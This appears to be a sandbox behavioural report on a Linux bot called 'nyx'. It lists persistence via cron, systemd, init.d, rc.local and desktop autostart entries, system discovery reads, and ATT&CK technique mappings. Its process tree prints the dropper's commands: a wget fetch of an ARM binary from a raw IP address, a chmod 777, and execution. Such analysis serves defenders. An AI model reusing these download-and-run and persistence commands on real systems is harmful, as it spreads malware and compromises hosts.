7e9b5454e72923f97e7ba34e5b5bba0a7eae2414382e62a17f52e647bf04944c

description	ioc	Process
File opened for modification	/etc/cron.d/nyx-agent	.nyx
File opened for modification	/var/spool/cron/crontabs/tmp.AkM5hZ	crontab

Modifies init.d 2 TTPs 1 IoCs

Adds/modifies system service, likely for persistence.

persistence

Boot or Logon Autostart Execution

RC Scripts

description	ioc	Process
File opened for modification	/etc/init.d/nyx-agent	.nyx

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

RC Scripts

persistence privilege_escalation

description	ioc	Process
File opened for modification	/etc/rc.local	.nyx

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

XDG Autostart Entries

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/nyx-agent.service	.nyx

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx

Creates a desktop entry file 3 TTPs 1 IoCs

A .desktop file is used by desktop environments to register and launch applications. This can be abused to gain persistence.

persistence execution

User Execution

T1204

Malicious File

T1204.002

XDG Autostart Entries

description	ioc	Process
File opened for modification	/tmp/.config/autostart/nyx-agent.desktop	.nyx

Enumerates kernel/hardware configuration 1 TTPs 8 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/cgroup/cpu,cpuacct/system.slice/cpu.cfs_quota_us	.nyx
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-user/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-user/bus	systemctl
File opened for reading	/sys/fs/cgroup/cpu,cpuacct/system.slice/cpu.cfs_period_us	.nyx
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	.nyx

Reads runtime system information 29 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1/cgroup	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/cgroup	systemctl
File opened for reading	/proc/self/cgroup	.nyx
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/self/exe	.nyx
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/self/cgroup	systemctl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/self/mountinfo	.nyx
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/1/cgroup	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.nyx	wget
File opened for modification	/tmp/nyx-bot.log	.nyx
File opened for modification	/tmp/.config/systemd/user/nyx-agent.service	.nyx
File opened for modification	/tmp/.config/autostart/nyx-agent.desktop	.nyx

/tmp/de02c9eeae1c6e53e582de40a40cd9f1
/tmp/de02c9eeae1c6e53e582de40a40cd9f1
1⤵
- Executes dropped EXE
PID:640
- /bin/uname
  uname -m
  2⤵
  PID:641
- /bin/rm
  rm -f .nyx
  2⤵
  PID:644
- /usr/bin/wget
  wget http://85.215.73.250/bot-linux-arm -O .nyx
  2⤵
  - Writes file to tmp directory
  PID:647
- /bin/chmod
  chmod 777 .nyx
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /bin/rm
  rm -f .nyx
  2⤵
  PID:750
- /tmp/.nyx
  ./.nyx
  2⤵
  - Executes dropped EXE
  - Creates/modifies Cron job
  - Modifies init.d
  - Modifies rc script
  - Modifies systemd
  - Creates a desktop entry file
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- - /tmp/.nyx
    /tmp/.nyx
    3⤵
    PID:755
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:756
- - /bin/systemctl
    systemctl enable --now nyx-agent.service
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:769
- - /usr/sbin/update-rc.d
    update-rc.d nyx-agent defaults
    3⤵
    PID:784
  - - /usr/local/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:785
  - - /usr/local/bin/systemctl
      systemctl daemon-reload
      4⤵
      PID:785
  - - /usr/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:785
  - - /usr/bin/systemctl
      systemctl daemon-reload
      4⤵
      PID:785
  - - /sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:785
  - - /bin/systemctl
      systemctl daemon-reload
      4⤵
      Enumerates kernel/hardware configuration
      Reads runtime system information
      PID:785
- - /bin/systemctl
    systemctl --user daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:798
- - /bin/systemctl
    systemctl --user enable --now nyx-agent.service
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:799
- - /usr/bin/crontab
    crontab -l
    3⤵
    - Reads runtime system information
    PID:800
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    - Reads runtime system information
    PID:801

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

User Execution

T1204

Malicious File

T1204.002

Persistence

Boot or Logon Autostart Execution

4

XDG Autostart Entries

Boot or Logon Initialization Scripts

T1037

RC Scripts

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

Privilege Escalation

Boot or Logon Autostart Execution

4

XDG Autostart Entries

Boot or Logon Initialization Scripts

T1037

RC Scripts

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery